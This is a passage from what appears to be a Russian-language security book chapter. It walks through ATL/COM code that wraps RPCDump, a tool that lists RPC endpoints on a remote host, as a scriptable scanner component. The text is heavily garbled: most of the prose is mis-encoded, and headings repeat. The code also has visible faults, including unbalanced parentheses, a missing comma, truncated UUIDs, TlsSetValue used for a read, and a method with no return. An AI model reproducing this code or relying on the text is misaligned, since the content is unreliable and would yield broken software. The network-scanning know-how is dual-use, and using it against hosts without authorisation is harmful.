16    dual,       // ïîääåðæêà IDispatch è vtable

17    uuid("7C7487E9-7F08-462C-85CF-CF23C08498AC")

18 ]

19 __interface IEndpointCollection : IDispatch

20 {

21   [id(DISPID_NEWENUM), propget]

22   HRESULT _NewEnum([out, retval] IUnknown** ppUnk);

23
24   [id(DISPID_VALUE), propget]

25   HRESULT Item(
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26       [in] long Index,

27       [out, retval] IEndpoint **ppVal);

28
29   [id(0x00000001), propget]

30   HRESULT Count([out, retval] long* pVal);

31 };

32
33 [

34    object,     // COM-îáúåêò

35    dual,       // ïîääåðæêà IDispatch è vtable

36    uuid("22AD386A-59D0-4d35-90C5-3089E207D73E")

37 ]

38 __interface IRpcEnum : IDispatch

39 {

40   HRESULT Execute(

41       [in] BSTR bstrTarget,

42       [out, retval] IEndpointCollection **ppResult

43       );

44 };

Èíòåðôåéñ IRpcEnumÈíòåðôåéñ IRpcEnumÈíòåðôåéñ IRpcEnumÈíòåðôåéñ IRpcEnumÈíòåðôåéñ IRpcEnum
Äëÿ íà÷àëà ìû ðàññìîòðèì ïîñëåäíèé èç ïðåäñòàâëåííûõ â ïðèìåðå 13.5 èí-
òåðôåéñîâ: IRpcEnum. Ýòî ïîäðàçóìåâàåìûé ïî óìîë÷àíèþ èíòåðôåéñ COM-
îáúåêòà CRPCDump, îí è ïðåäîñòàâëÿåò ìåòîäû è ñâîéñòâà, íåîáõîäèìûå äëÿ
èñïîëíåíèÿ RPCDump.

Â ñòðîêàõ 33–37 çàäàåòñÿ ATL-àòðèáóò object, êîòîðûé ïîíóæäàåò ATL âñòà-
âèòü êîä, íåîáõîäèìûé äàííîìó COM-èíòåðôåéñó. Â àòðèáóòå object ïðèñóò-
ñòâóþò äâà ïàðàìåòðà: dual è uuid. Ïàðàìåòð dual ãîâîðèò, ÷òî ýòîò èíòåðôåéñ
äîëæåí áûòü äîñòóïåí êàê ÷åðåç IDispatch (ïîääåðæêà ïîçäíåãî ñâÿçûâàíèÿ),
òàê è ÷åðåç òàáëèöó âèðòóàëüíûõ ôóíêöèé (vtable). Ïàðàìåòð uuid çàäàåò
èäåíòèôèêàòîð èíòåðôåéñ IID.

Èíòåðôåéñ IRpcEnum îïðåäåëåí â ñòðîêå 38. Â íåì åñòü òîëüêî îäèí ìåòîä
Execute. Îí ïðèíèìàåò òå æå àðãóìåíòû, êîòîðûå ïåðåäàþòñÿ èñõîäíîé óòè-
ëèòå â êîìàíäíîé ñòðîêå. Ïðè îáðàùåíèè ê ýòîìó ìåòîäó ïðîãðàììà íàõîäèò
âñå îêîíå÷íûå òî÷êè RPC íà óäàëåííîì õîñòå è âîçâðàùàåò ðåçóëüòàò â âû-
õîäíîé (ïîìå÷åííîé àòðèáóòîì [out]) ïåðåìåííîé ppResult. Â ñëó÷àå óñïåõà
ppResult óêàçûâàåò íà îáúåêò-íàáîð, ñîäåðæàùèé èíôîðìàöèþ îáî âñåõ îêî-
íå÷íûõ òî÷êàõ.

Èíòåðôåéñ IEndPointCollectionÈíòåðôåéñ IEndPointCollectionÈíòåðôåéñ IEndPointCollectionÈíòåðôåéñ IEndPointCollectionÈíòåðôåéñ IEndPointCollection
Îáúåêò, ïðåäñòàâëÿþùèé íàáîð, êîòîðûé âîçâðàùàåò ìåòîä IRpcEnum::Exe-
cute, îïðåäåëåí â ñòðîêàõ 14–31. Êàê è ëþáîé äðóãîé íàáîð, îí ñîäåðæèò óêà-
çàòåëè íà èíòåðôåéñû. Íî äëÿ ïîëíîòû êàðòèíû ðàññìîòðèì åãî ïîäðîáíî.
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Àòðèáóòû â ñòðîêàõ 14–27 òàêèå æå, êàê äëÿ âñåõ îñòàëüíûõ èíòåðôåéñîâ:
èíòåðôåéñ îáúÿâëÿåòñÿ äóàëüíûì è çàäàåòñÿ åãî IID.

Âû, íàâåðíîå, îáðàòèëè âíèìàíèå íà àòðèáóò id â ñòðîêàõ 21 è 24. ×òîáû
ïîíÿòü åãî íàçíà÷åíèå, íàäî êîå-÷òî çíàòü îá èíòåðôåéñå IDispatch. Ýòîò
èíòåðôåéñ èñïîëüçóåòñÿ COM-êëèåíòàìè, êîòîðûå îñóùåñòâëÿþò ïîçäíåå
ñâÿçûâàíèå. Òàêîé ìåõàíèçì çàäåéñòâóåòñÿ â ñèòóàöèè, êîãäà êëèåíò íå èìååò
äîñòóïà ê èíôîðìàöèè î òèïå âî âðåìÿ êîìïèëÿöèè è äîëæåí îáðàùàòüñÿ
ê ìåòîäàì èíòåðôåéñà êîñâåííî (÷åðåç IDispatch), à íå íàïðÿìóþ ÷åðåç òàá-
ëèöó âèðòóàëüíûõ ôóíêöèé. Ýòî ñòàíîâèòñÿ âîçìîæíûì èç-çà íàëè÷èÿ â èí-
òåðôåéñå IDispatch äâóõ ìåòîäîâ: GetIDsOFNames è Invoke. Íèæå ïðèâåäåíû
èõ ïðîòîòèïû:

HRESULT GetIDsOFNames(
  REFIID riid,
  OLECHAR FAR* FAR* rgszNames,
  unsigned int cNames,
  LCID lcid,
  DISPID FAR* rgDispId
};

HRESULT Invoke(
  DISPID dispIdMember,
  REFIID riid,
  LCID lcid,
  WORD wFlags,
  DISPPARAMS FAR* pDispParams,
  VARIANT FAR* pVarResult,
  EXCEPINFO FAR* pExcepInfo,
  unsigned int FAR* puArgErr
};

Ìåòîä Invoke ñëóæèò äëÿ îáðàùåíèÿ ê êîíêðåòíîìó ìåòîäó, îïðåäåëÿåìî-
ìó ïàðàìåòðîì dispIdMember. Åãî çíà÷åíèå çàäàåòñÿ â áèáëèîòåêå òèïîâ è,
ñëåäîâàòåëüíî, äîëæíî áûòü ÷àñòüþ îïèñàíèÿ ìåòîäà. Èìåííî ýòî ìû
è âèäèì â îïèñàíèÿõ ìåòîäîâ _NewEnum è Item. Åñëè COM-êëèåíò íå èìååò
èíôîðìàöèè èç áèáëèîòåêè òèïîâ, îí ìîæåò çàïðîñèòü DISPID ó ìåòîäà
GetIDsOFNames èíòåðôåéñà IDispatch.

Ìåòîä _NewEnum âîçðàùàåò óêàçàòåëü íà èíòåðôåéñ IUnknown îáúåêòà-
ýíóìåðàòîðà äëÿ íàáîðà. Îáû÷íî îí âûçûâàåòñÿ èç ÿçûêîâ ñöåíàðèåâ äëÿ ðå-
àëèçàöèè êîíñòðóêöèé òèïà foreach.

Ìåòîä Item ïî÷òè íå íóæäàåòñÿ â êîììåíòàðèÿõ, îí ïîëó÷àåò ÷èñëîâîé èí-
äåêñ è âîçâðàùàåò ñîîòâåòñòâóþùèé åìó óêàçàòåëü íà èíòåðôåéñ IEndPoint.
Åñëè çàäàí èíäåêñ âíå äîïóñòèìîãî äèàïàçîíà, ìåòîä âîçâðàùàåò S_FALSE.

Ìåòîä Count âîçâðàùàåò ÷èñëî îáúåêòîâ â íàáîðå.
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Èíòåðôåéñ IEndPointÈíòåðôåéñ IEndPointÈíòåðôåéñ IEndPointÈíòåðôåéñ IEndPointÈíòåðôåéñ IEndPoint
Èíòåðôåéñ IEndPoint îïðåäåëåí â ñòðîêàõ 1–12, èìåííî óêàçàòåëè íà òàêèå
èíòåðôåéñû, õðàíÿòñÿ â íàáîðå IEndPointCollection. Îí ïðåäîñòàâëÿåò äîñòóï
ê èíôîðìàöèè îá îäíîì RPC-èíòåðôåéñå. Ïîëó÷èòü åå ìîæíî, îïðîñèâ
ñâîéñòâà IntefaceID, Version, Uuid è Binding. Âñå ñâîéñòâà èìåþò òèï BSTR.
Ñòîèò îòìåòèòü, ÷òî èíôîðìàöèÿ áåðåòñÿ íåïîñðåäñòâåííî èç ñòðóêòóðû
IFACE_DATA_ENTRY.

Классы компонентов

Ïîñêîëüêó îïðåäåëåíî òðè èíòåðôåéñà, ñóùåñòâóåò è òðè êîêëàññà, à èìåííî:
CEndpoint, CEndpointCollection è CRPCDump. Èõ êîä ðàññìàòðèâàåòñÿ íèæå.

Пример 13.6. Пример 13.6. Пример 13.6. Пример 13.6. Пример 13.6. Реализация кокласса CEndpoint (из файла COMSupport.cpp)
 1 [coclass, uuid("598E69E2-19E4-9E5C-D180C2FAE6F2", noncreatable]

 2 class ATL_NO_VTABLE CEndpoint : public IDispatchIpml<IEndpoint>

 3 {

 4 public:

 5   void Initialize(IFACE_DATA_ENTRY *pEntry) {

 6   // Ñîõðàíèòü èíôîðìàöèþ î òîì, íà ÷òî äîëæåí óêàçûâàòü îáúåêò

 7   m_data = *pEntry;

 8 }

 9
10 HRESULT get_InterfaceID(BSTR *bstrVal) {

11   *bstrVal = m_data.m_bstrInterfaceID.Copy());

12   return S_OK;

13 }

14
15 HRESULT get_Version(BSTR *bstrVal) {
16   *bstrVal = m_data.m_bstrVersionID.Copy());

17   return S_OK;

18 }

19
20 HRESULT get_Uuid(BSTR *bstrVal) {
21   *bstrVal = m_data.m_bstrUUID.Copy());

22   return S_OK;

23 }

24
25 HRESULT get_Binding(BSTR *bstrVal) {
26   *bstrVal = m_data.m_bstrBinding.Copy());

27   return S_OK;

28 }

29
30 protected:

31   IFACE_DATA_ENTRY m_data;

32 };
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ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Êëàññ CEndpoint ñîâñåì ïðîñòîé. Åãî åäèíñòâåííîå íàçíà÷åíèå – ïðåäîñòà-
âèòü COM-êëèåíòàì äîñòóï ê èíôîðìàöèè èç çàïèñè î êîíêðåòíîì RPC-
èíòåðôåéñå.

Â ñòðîêå 1 ìû âèäèì ATL-àòðèáóò coclass, êîòîðûé çàñòàâëÿåò ïðîâàéäåðà
àòðèáóòîâ âñòàâèòü íóæíûé äëÿ ðàáîòîñïîñîáíîñòè êîìïîíåíòà êîä. Àòðèáóò
noncreatable ãîâîðèò, ÷òî îáúåêòû ýòîãî êëàññà íå ìîãóò áûòü ñîçäàíû êëèåí-
òàìè íåïîñðåäñòâåííî.

Â ñòðîêå 2 íà÷èíàåòñÿ îáúÿâëåíèå êëàññà CEndpoint. Îáðàòèòå âíèìàíèå
íà ìàêðîñ ATL_NO_VTABLE. Îí ðàñøèðÿåòñÿ â __declspec(novtable) è ïîçâî-
ëÿåò îïòèìèçèðîâàòü ñîçäàíèå êëàññà çà ñ÷åò óñòðàíåíèÿ ïðîöåäóð èíèöèàëè-
çàöèè óêàçàòåëÿ íà òàáëèöó âèðòóàëüíûõ ôóíêöèé èç êîíñòðóêòîðà è äåñòðóê-
òîðà. Îäíàêî ýòî áåçîïàñíî òîëüêî äëÿ êëàññîâ, êîòîðûå íå ñîçäàþòñÿ íå-
ïîñðåäñòâåííî, êàê â äàííîì ñëó÷àå (âñïîìíèòå, ÷òî êëàññû êîìïîíåíòîâ
ðåàëüíî ñîçäàåò CComObject).

Â ñòðîêå 2 òàêæå ñêàçàíî, ÷òî êîêëàññ íàñëåäóåò êëàññó IDispatchImpl, êîíê-
ðåòèçèðîâàííîìó ïàðàìåòðîì IEndpoint. Òåì ñàìûì äîñòèãàåòñÿ äâå öåëè:
à) êîêëàññ íàäåëÿåòñÿ ôóíêöèîíàëüíîñòüþ, íåîáõîäèìîé äëÿ ïîääåðæêè èí-
òåðôåéñà IDispatch, è á) íåÿâíî êîêëàññ ñòàíîâèòñÿ ïðîèçâîäíûì îò èíòåð-
ôåéñà IEndpoint, êîòîðûé îí è ïðèçâàí ðåàëèçîâàòü.

Â ñòðîêå 5 âû âèäèòå åäèíñòâåííóþ ôóíêöèþ-÷ëåí, êîòîðàÿ íå áûëà îïðå-
äåëåíà â èíòåðôåéñå: Initial ize. Êàê  ñëåäóåò èç íàçâàíèÿ, îíà ïðåäíàçíà÷åíà äëÿ
èíèöèàëèçàöèè êîêëàññà äàííûìè, êîòîðûå ïîçæå áóäóò äîñòóïíû ÷åðåç åãî
èíòåðôåéñû.

Â ñòðîêàõ 10–28 îïðåäåëåíû ìåòîäû êëàññà, ñîîòâåòñòâóþùèå îïðåäåëå-
íèþ èíòåðôåéñà IEndpoint. Èõ ñòðóêòóðà ïîâòîðÿåòñÿ: ñêîïèðîâàòü â ïåðåäàí-
íóþ ñòðîêó òèïà BSTR * ñîäåðæèìîå ñîîòâåòñòâóþùåãî ïîëÿ âíóòðåííåé
ñòðóêòóðû, íàïðèìåð:

HRESULT get_InterfaceID(BSTR *bstrVal) {
  *bstrVal = m_data.m_bstrInterfaceID.Copy());
  return S_OK;
}

Çäåñü â àðãóìåíò bstrVal êîïèðóåòñÿ èäåíòèôèêàòîð èíòåðôåéñà èç ïîëÿ
m_data.m_bstrInterfaceID. Ïîñêîëüêó ïîëå m_bstrInterfaceID èìååò òèï CComBSTR,
òî ó íåãî åñòü ìåòîä Copy, êîòîðûé ñîçäàåò êîïèþ ñòðîêè è âîçâðàùàåò åå
â êà÷åñòâå çíà÷åíèÿ. Îòìåòèì, ÷òî â ýòîì êîäå êðàòêîñòè ðàäè íå ïðîâåðÿåò-
ñÿ, êîððåêòíî ëè çíà÷åíèå àðãóìåíòà bstrVal. Â ðåàëüíîé ïðîãðàììå âñåãäà
íóæíî ïðåäïîëàãàòü íàèõóäøèé ñöåíàðèé, è îñîáåííî ýòî îòíîñèòñÿ ê COM-
èíòåðôåéñàì.

Добавление СОМ�расширений в программу RPCDUMP
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Äàëåå â ïðèìåðå 13.7 ïîêàçàí êîä ýíóìåðàòîðà íàáîðà. Ýòî òèïè÷íàÿ äëÿ
ATL-ïðîåêòîâ ðåàëèçàöèÿ.

Пример 13.7.Пример 13.7.Пример 13.7.Пример 13.7.Пример 13.7. Реализация кокласса CEndpointCollection
(из файла COMSupport.cpp)
 1 typedef CComEnumOnSTL<

 2    IEnumVARIANT,

 3    &__uuidof(IEnumVARIANT),

 4    VARIANT,

 5    _CopyEndpointIFToVariant,

 6    std::vector<IFACE_DATA_ENTRY>

 7 > EnumType;

 8
 9 typedef ICollectionOnSTLImpl<

10    IEndpointCollection,

11    std::vector<IFACE_DATA_ENTRY>

12    IEndpoint*,

13    _CopyInformationToEndpointInterface,

14    EnumType
15 > EndpointCollectionType;

16
17
18 [

19    coclass,

20    threading=apartment,

21    uuid("2C793CBF-51FA-4146-022902FBDDCF"),

22    noncreatable

23 ]

24 class ATL_NO_VTABLE CEndpointCollection :

25    public IDispatchImpl< EndpointCollectionType,

26                          &__uuidof(IEndpointCollection) >

27 {

28 public:

29   // Äëÿ ýòîãî íàáîðà íå íóæíû íèêàêèå ìåòîäû

30 }

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Â ñòðîêàõ 1–7 îïðåäåëÿåòñÿ ñèíîíèì EnumType äëÿ òèïà îáúåêòà-ýíóìåðàòîðà
íàáîðà. Íàïîìíèì, ÷òî ýíóìåðàòîð âîçâðàùàåòñÿ ìåòîäîì _NewEnum. Ðàñ-
ñìîòðèì ýòîò êîä âíèìàòåëüíåå. Òèï EnumType ðåàëèçîâàí ñ ïîìîùüþ øàá-
ëîííîãî êëàññà CComEnumOnSTL, êîòîðûé îïðåäåëåí òàê:

template <class Base, const IID* piid, class T, class Copy,
          class CollType, class ThreadModel = CComObjectThreadModel >
class ATL_NO_VTABLE CComEnumOnSTL :
   public IEnumOnSTLImpl<Base, piid, T, Copy, CollType>,
   public CComObjectRootEx< ThreadModel >
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1. Ïåðâûé ïàðàìåòð øàáëîíà – ýòî Base, åãî çíà÷åíèåì ÿâëÿåòñÿ èíòåð-
ôåéñ, êîòîðûé äîëæåí ðåàëèçîâàòü ýíóìåðàòîð. Îáû÷íî â êà÷åñòâå èí-
òåðôåéñà óêàçûâàåòñÿ IEnumXXXX, à â íàøåì ñëó÷àå – IEnumVARIANT.
Ñîáñòâåííî, èíòåðôåéñà ñ èìåíåì IEnumXXXX íå ñóùåñòâóåò, âñåãäà íóæ-
íî âìåñòî XXXX óêàçûâàòü êîíêðåòíûé òèï âîçâðàùàåìûõ çíà÷åíèé.

2. Ñëåäóþùèé ïàðàìåòð – ýòî IID èíòåðôåéñà, êîòîðûé äîëæåí ðåàëèçî-
âàòü êëàññ. Êàê âèäíî èç íàáîðà êëàññîâ, êîòîðûì íàñëåäóåò CCom-
EnumOnSTL, ïîñëåäíèé ðåàëèçóåò îáúåêòû, ñîçäàâàåìûå ñ ïîìîùüþ
CComObject. ßñíî, ÷òî ðàç ðå÷ü èäåò î êëàññå êîìïîíåíòà, òî äîëæåí
áûòü ðåàëèçîâàí èíòåðôåéñ IUnknown è, ÷òî ñàìîå âàæíîå, ìåòîä
QueryInterface. Íî äëÿ ýòîãî íåîáõîäèìî çíàòü IID çàïðàøèâàåìîãî
èíòåðôåéñà. Â íàøåì ñëó÷àå îí çàäàåòñÿ ñ ïîìîùüþ êîíñòðóêöèè
&__uuidof(IEnumVARIANT).

3. Ñëåäóþùèé ïàðàìåòð T – ýòî ôàêòè÷åñêèé òèï äàííûõ, âîçâðàùàåìûõ
ýíóìåðàòîðîì. Ýòà èíôîðìàöèÿ íåîáõîäèìà ýíóìåðàòîðó, òàê êàê îíà
èñïîëüçóåòñÿ â îäíîì èç ðåàëèçóåìûõ èì ìåòîäîâ:

STDMETHOD(Next)(ULONG celt, T* rgelt, ULONG* pceltFetched);

4. ×åòâåðòûé ïàðàìåòð – ýòî ïîëèòèêà êîïèðîâàíèÿ, êîòîðîé áóäåò ïðè-
äåðæèâàòüñÿ ATL. Ïîñêîëüêó â ñâîåé âíóòðåííåé ñòðóêòóðå ýíóìåðàòîð
õðàíèò STL-âåêòîð, òî íóæíî êàêèì-òî îáðàçîì óñòàíîâèòü ñâÿçü ìåæäó
òèïîì äàííûõ, õðàíÿùèõñÿ â âåêòîðå, è òèïîì äàííûõ, âîçâðàùàåìûõ
ýíóìåðàòîðîì. Â äàííîì ñëó÷àå ìû îòîáðàæàåì IFACE_DATA_ENTRY
íà VARIANT. Ïàðàìåòð, îïðåäåëÿþùèé ïîëèòèêó êîïèðîâàíèÿ, – ýòî
êëàññ, ðåàëèçóþùèé òðè ìåòîäà: copy, init è destroy.

5. Ïÿòûé ïàðàìåòð – ýòî òèï STL-êîíòåéíåðà, êîòîðîìó ïðèíàäëåæèò
÷ëåí êîêëàññà ñ èìåíåì m_coll. Îáû÷íî ïðè ðåàëèçàöèè ýíóìåðàòîðîâ
ýòîò ÷ëåí èíèöèàëèçèðóåòñÿ åùå äî âîçâðàòà óêàçàòåëÿ íà èíòåðôåéñ
ýíóìåðàòîðà êëèåíòó.

Â ñòðîêàõ 915 îïðåäåëåí òèï êëàññà, ðåàëèçóþùåãî íàáîð, – EndpointCol-
lectionType. Îòìåòèì, îäíàêî, ÷òî îäíîãî ýòîãî êëàññà íåäîñòàòî÷íî äëÿ ñî-
çäàíèÿ êëàññà êîìïîíåíòà. Èíûìè ñëîâàìè, åãî íåëüçÿ ïåðåäàòü â êà÷åñòâå
ïàðàìåòðà øàáëîíó CComObject, ïîñêîëüêó â íåì íå çàäàíà ïîòîêîâàÿ ìîäåëü
è îòñóòñòâóåò ðåàëèçàöèÿ IDispatch. Â ñòðîêàõ 18–30 ïðèâåäåíà ôàêòè÷åñêàÿ
ðåàëèçàöèÿ êîêëàññà EndpointCollectionType.

Òèï EndpointCollectionType – ýòî êîíêðåòèçàöèÿ øàáëîíà ICollectionOn-
STLImpl, îïðåäåëåííîãî ñëåäóþùèì îáðàçîì:

template <class T, class CollType, class ItemType,
          class CopyItem, class EnumType>
class ICollectionOnSTLImpl : public T

Добавление СОМ�расширений в программу RPCDUMP
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7. Ïåðâûé ïàðàìåòð ýòîãî øàáëîíà – èíòåðôåéñ, êîòîðûé äîëæíà ðåàëè-
çîâàòü êîíêðåòèçàöèÿ ICollectionOnSTLImpl, òî÷íî òàê æå, êàê â îïðå-
äåëåíèè ýíóìåðàòîðà âûøå. Â äàííîì ñëó÷àå ìû óêàçàëè èíòåðôåéñ
IEndpointCollection.

8. Âòîðîé ïàðàìåòð – ýòî òèï STL-êîíòåéíåðà, êîòîðîìó ïðèíàäëåæèò
ïîëå m_coll êëàññà, îïèñûâàþùåãî íàáîð.

9. Òðåòèé ïàðàìåòð – ýòî òèï äàííûõ, âîçâðàùàåìûé ìåòîäîì Item èí-
òåðôåéñà íàáîðà.

10. ×åòâåðòûé ïàðàìåòð – ýòî ïîëèòèêà êîïèðîâàíèÿ èç STL-êîíòåéíåðà
â àðãóìåíò, ïåðåäàâàåìûé ìåòîäó Item. Ìû äîëæíû âûïîëíèòü ïðåîá-
ðàçîâàíèå èç òèïà IFACE_DATA_ENTRY â IEndpoint*.

11. Ïÿòûé ïàðàìåòð – ýòî êëàññ ýíóìåðàòîðà (ðàññìîòðåííûé âûøå).
Îáúåêò òàêîãî êëàññà âîçâðàùàåòñÿ ìåòîäîì _NewEnum. Ìû óêàçàëè,
÷òî äîëæåí èñïîëüçîâàòüñÿ ðàíåå îïðåäåëåííûé òèï EnumType.

Òåïåðü, êîãäà âñå íåîáõîäèìûå îïðåäåëåíèÿ èìåþòñÿ, ìîæíî ðåàëèçîâàòü
êëàññ íàáîðà (ñòðîêè 18–30):

� Â ñòðîêàõ 18–23 çàäàíû àòðèáóòû êîêëàññà. Êàê âèäèì, ýòîò êîêëàññ
ïîëüçóåòñÿ ìîäåëüþ ñ ðàçäåëüíûìè ïîòîêàìè è íå ìîæåò áûòü ñîçäàí
íåïîñðåäñòâåííî ïóòåì âûçîâà CoCreateInstance.

� Â ñòðîêå 25 ñêàçàíî, ÷òî êîêëàññ íàñëåäóåò ðåàëèçàöèè IDispatchImpl
èíòåðôåéñà IDispatch è â êà÷åñòâå ïàðàìåòðà ýòîãî øàáëîííîãî êëàññà
óêàçàí òèï íàáîðà EndpointCollectionType.

Â ïðèìåðå 13.8 ïîêàçàíà ðåàëèçàöèÿ ãëàâíîãî êëàññà CRPCDump.

Пример 13.8.Пример 13.8.Пример 13.8.Пример 13.8.Пример 13.8. Реализация кокласса CRPCDump (из файла COMSupport.cpp)
 1 [

 2    coclass,

 3    threading("apartment"),

 4    vi_progid("RPCDump.Scanner"),

 5    version(1.0),

 6    uuid("8B680433-A2BE-491E-B2CF-F858C1C16A93")

 7 ]

 8 class ATL_NO_VTABLE CRPCDump :

 9    public IDispatchImpl<IRpcEnum>

10 {

11 public:

12    HRESULT Execute(BSTR bstrTarget, IEndpointCollection **ppResult)

13    {

14      // Ïðîâåðèòü êîððåêòíîñòü àðãóìåíòîâ

15      if (!bstrTarget || !ppResult)
16         return E_POINTER;

17
18      // pArg[0] – ïóòü ê ìîäóëþ
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19      // pArg[1] – öåëåâîé õîñò

20      USES_CONVERSION;

21      CHAR szModule[MAX_PATH + 1];

22      GetModuleFileName(NULL, szModule, MAX_PATH);

23
24      int cArgs = 2;

25      char *pArg[2] = {szModule, W2A(bstrTarget));

26
27      //

28      // Ñîçäàòü íàáîð îêîíå÷íûõ òî÷åê, êîòîðûé áóäåò âîçâðàùåí

29      // ýòèì ìåòîäîì

30      //

31      CComObject<CEndpointCollection> *pResult;

32      CComObject<CEndpointCollection>::CreateInstance(&pResult);

33      pResult->AddRef();

34
35      //

36      // Ïîäãîòîâèòü óêàçàòåëü íà êîíòåêñò âûçîâà è ñîõðàíèòü åãî

37      // â ëîêàëüíîé ïàìÿòè ïîòîêà

38      //

39      PTOOL_CALL_CONTEXT pCtx = new TOOL_CALL_CONTEXT;

40      pCtx->pIFaceVector = &pResult->m_coll;

41
42      TlsSetValue(g_dwCOMCallTls, (PVOID)pCtx);

43
44      BEGIN_ENTRYPOINT();

45      rcpdump_main(cArgs, pArg);

46      END_ENTRYPOINT();

47
48      // Âûçîâ çàâåðøåí, åãî êîíòåêñò íàì áîëüøå íå íóæåí

49      delete pCtx;

50
51      // Ïðèñâîèòü óêàçàòåëü íà ïîëó÷åííûé íàáîð àðãóìåíòó ppResult

52      *ppResult = pResult;

53
54    }

55 };

ÀíàëèçÀíàëèçÀíàëèçÀíàëèçÀíàëèç
Ê ýòîìó ìîìåíòó ñòðîêè 1–7 óæå äîëæíû áûòü âàì ïðèâû÷íû, ýòî îáúÿâëå-
íèå ATL-àòðèáóòà, â êîòîðîì ãîâîðèòñÿ, ÷òî äàëåå ñëåäóåò êëàññ êîìïîíåíòà
ñî ñëåäóþùèìè õàðàêòåðèñòèêàìè:

� êîìïîíåíò äîëæåí ðàáîòàòü òîëüêî â ìîäåëè ñ ðàçäåëüíûìè ïîòîêàìè;
� åãî íå çàâèñÿùèé îò âåðñèè PROGID ðàâåí «RPCDump.Scanner», ñëåäî-

âàòåëüíî äëÿ îáðàùåíèÿ ê íåìó ìîæíî íàïèñàòü ÷òî-òî òèïà var
rpcdump = new ActiveXObject(«RPCDump.Scanner»);

Добавление СОМ�расширений в программу RPCDUMP



694 Глава 13. Написание компонентов для задач, связанных с безопасностью

� íîìåð âåðñèè êîêëàññà 1.0;
� åãî CLSID ðàâåí {8B680433-A2BE-491E-B2CF-F858C1C16A93}.

Êàê è â îáúÿâëåíèÿõ âñåõ ïðåäûäóùèõ êîêëàññîâ, çäåñü ïðèñóòñòâóåò äè-
ðåêòèâà êîìïèëÿòîðà ATL_NO_VTABLE, è îí íàñëåäóåò êëàññó IDispatchImpl,
êîòîðûé, â ñâîþ î÷åðåäü, ÿâëÿåòñÿ ïðîèçâîäíûì îò êëàññà IRpcEnum, ðåàëè-
çîâàííîãî êîìïîíåíòîì.

Â èíòåðôåéñå IRpcEnum èìååòñÿ åäèíñòâåííûé ìåòîä Execute, êîòîðûé è
çàíèìàåò áîëüøóþ ÷àñòü êîäà â ñòðîêàõ 12–55.

Ìåòîä Execute ïðèíèìàåò äâà àðãóìåíòà, îäèí èç êîòîðûõ ñëóæèò äëÿ âîç-
âðàòà çíà÷åíèÿ. Ïåðâûé àðãóìåíò – ýòî àäðåñ ìàøèíû, íà êîòîðîé íóæíî
ïðîñêàíèðîâàòü îêîíå÷íûå òî÷êè RPC. Ñ ïîìîùüþ âòîðîãî âîçâðàùàåòñÿ
ðåçóëüòàò ñêàíèðîâàíèÿ â âèäå óêàçàòåëÿ íà èíòåðôåéñ íàáîðà, ñîäåðæàùåãî
èíòåðôåéñû IEndPoint.

Îñíîâíîå íàçíà÷åíèå ýòîãî ìåòîäà – ñîçäàòü ñðåäó äëÿ èñïîëíåíèÿ èñõîä-
íîé ïðîãðàììû, ïîëó÷èòü ñîáðàííûå äàííûå ñ ïîìîùüþ ïðîöåäóð èíòåãðà-
öèè è ïðåäñòàâèòü èõ â âèäå íàáîðà. Ðàññìîòðèì ïîäðîáíî, êàê ýòî äåëàåòñÿ.

Â ñòðîêàõ 14–16 ïðîâåðÿåòñÿ êîððåêòíîñòü ïåðåäàííûõ ìåòîäó Execute àðãó-
ìåíòîâ. Ýòî ñëåäóåò äåëàòü äëÿ âñåõ COM-èíòåðôåéñîâ.

Â ñòðîêàõ 20–25 çàäàþòñÿ àðãóìåíòû argc è argv, êîòîðûå îæèäàåò ôóíêöèÿ
rpcdump_main. Ìàññèâ argv ñòðîèòñÿ ñëåäóþùèì îáðàçîì:

[0] Ïóòü ê ìîäóëþ, íàïðèìåð: "C:\\rpcdump.exe"
[1] Èìÿ öåëåâîãî õîñòà, íàïðèìåð: "john"

Êîëü ñêîðî çàäàíî äâà àðãóìåíòà è ýòî îòðàæåíî â argc, ôóíêöèÿ rpcdump_
main áóäåò äîâîëüíà.

Â ñòðîêàõ 31–33 ñîçäàåòñÿ îáúåêò íàáîðà, êîòîðûé áóäåò âîçâðàùåí ðàñ-
ñìàòðèâàåìûì ìåòîäîì. Îáðàòèòå âíèìàíèå, ÷òî ÷ëåí m_coll, óíàñëåäîâàí-
íûé îò ICollectionOnSTLImpl, èñïîëüçóåòñÿ òàêæå â ðîëè óêàçàòåëÿ íà âåêòîð,
â êîòîðîì õðàíÿòñÿ äàííûå îáî âñåõ RPC-èíòåðôåéñàõ. Ýòî ñòàíîâèòñÿ î÷å-
âèäíûì èç ñòðîêè 40, â êîòîðîé m_coll ïðèñâàèâàåòñÿ óêàçàòåëü íà ñòðóêòóðó
TOOL_CALL_CONTEXT.

Â ñòðîêå 39 èç êó÷è âûäåëÿåòñÿ ïàìÿòü äëÿ ñòðóêòóðû TOOL_CALL_
CONTEXT, à â ñòðîêå 42 óêàçàòåëü íà íåå ñîõðàíÿåòñÿ â ëîêàëüíîé ïàìÿòè
ïîòîêà. Â ýòîé ñòðóêòóðå áóäóò õðàíèòüñÿ äàííûå, ïîëó÷åííûå îò ïðîöåäóð
èíòåãðàöèè. Åñëè âñïîìíèòü êîä ýòèõ ïðîöåäóð, òî ýòî óòâåðæäåíèå ñòàíåò
áîëåå ïîíÿòíûì:

PTOOL_CALL_CONTEXT pCtx=(PTOOL_CALL_CONTEXT)TlsSetValue(g_dwCOMCallTls);

Â ñòðîêàõ 44–46 âûçûâàåòñÿ ôóíêöèÿ rpcdump_main. Çäåñü èñïîëüçóþòñÿ
ìàêðîñû BEGIN_ENTRYPOINT() è END_ENTRYPOINT(), î êîòîðûõ ìû ãî-
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âîðèëè âûøå. Ôóíêöèè rpcdump_main ïåðåäàþòñÿ ïîäãîòîâëåííûå â ñòðîêàõ
20–25 àðãóìåíòû argc è argv.

Ïîñëåäíèé øàã – ïî÷èñòèòü çà ñîáîé è âåðíóòü ðåçóëüòàò êëèåíòó. Â ñòðîêå
49 îñâîáîæäàåòñÿ ïàìÿòü, âûäåëåííàÿ äëÿ ñòðóêòóðû TOOL_CALL_CONTEXT,
à â ñòðîêå 52 âûõîäíîìó àðãóìåíòó ppResult ïðèñâàèâàåòñÿ óêàçàòåëü íà íàáîð.

Интеграция с приложением: файл COMSupport.h

À òåïåðü ïîñìîòðèì, ÷òî íóæíî èçìåíèòü â èñõîäíîì ôàéëå rpcdump.c,
÷òîáû ïðîöåäóðû èíòåãðàöèè ìîãëè ïîëó÷èòü îò íåãî íóæíóþ èíôîðìàöèþ.

